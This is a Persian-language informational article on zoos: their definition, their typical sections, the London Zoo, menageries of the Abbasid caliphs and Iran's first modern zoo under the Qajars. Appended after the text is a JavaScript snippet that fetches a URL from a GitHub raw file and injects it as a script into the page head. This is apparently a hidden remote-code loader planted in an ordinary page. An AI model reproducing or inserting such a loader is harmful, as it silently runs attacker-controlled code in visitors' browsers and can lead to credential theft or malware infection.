باغ وحش (که پارک جانورشناسی یا باغ جانوران نیز نامیده می شود) محلی برای نگهداری جانوران (اهلی و وحشی) است. در پارک حیوانات برای هر جانوری قفسی را آماده کرده اند و اکثراً جانوران را با جفت شان نگه داری می کنند؛ و برای برخی جانوران هم زیستگاه مصنوعی ایجاد کرده اند.

یک پارک حیوانات می تواند از بخش های جانوری زیر تشکیل شود:

• بخش آبزیان
• بخش پرندگان
• بخش دوزیستان

پارک های حیوانات در شهرهای بزرگ دنیا به عنوان مراکز پژوهشی جانورشناسی نیز کاربرد دارند. معمولاً قفس‌های جانوران درنده از میله‌های آهن محکم ساخته می شود و گاه نیز در اطراف محوطه زندگی این جانوران استخرها و دریاچه‌های عمیق می‌سازند. اصطلاح “باغ جانورشناسی” به مطالعه جانوران اشاره دارد. مخفف “باغ وحش” اولین بار در پارک حیوانات باغ لندن استفاده شد که در سال ۱۸۲۸ برای مطالعه علمی و در سال ۱۸۴۷ برای بازدید عموم افتتاح شد. فقط در ایالات متحده سالانه بیش از ۱۸۱ میلیون نفر از باغ وحش‌ها بازدید می کنند.

ساخت پارک حیوانات یا مجموعه نگه داری جانوران در یونان، روم، ایران و کشورهای اسلامی پیشینه دارد. جرجی زیدان می‌نویسد: از سرگرمی‌های خلفاء گردآوری و نگاهداری جانورانی امثال شیر و ببر و فیل بود که از وسایل شکوه دربار بشمار می رفت. نخستین کسی که در خاندان عباسیان بدین امر (نگاهداری جانوران) اهتمام کرد، منصور بود که فیل فراوان نگاهداشت و هارون الرشید شیر و ببر و انواع سگ ها و میمون ها گردآوری کرد.

نخستین باغ وحش به شیوه جدید باغ‌وحش لندن است که در سال ۱۸۲۸ در لندن بازگشایی شد. امروزه بیش از هزار باغ‌وحش در جهان وجود دارد.

نخستین باغ وحش به سبک جدید در ایران در زمان ناصرالدین شاه قاجار احداث شد و جایگاه آن باغ لاله زار در محل خیابان لاله زار کنونی در تهران بوده است. بعدها این باغ به فرح آباد منتقل و مرکز باغ وحش سلطنتی به شمار آمد

(var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)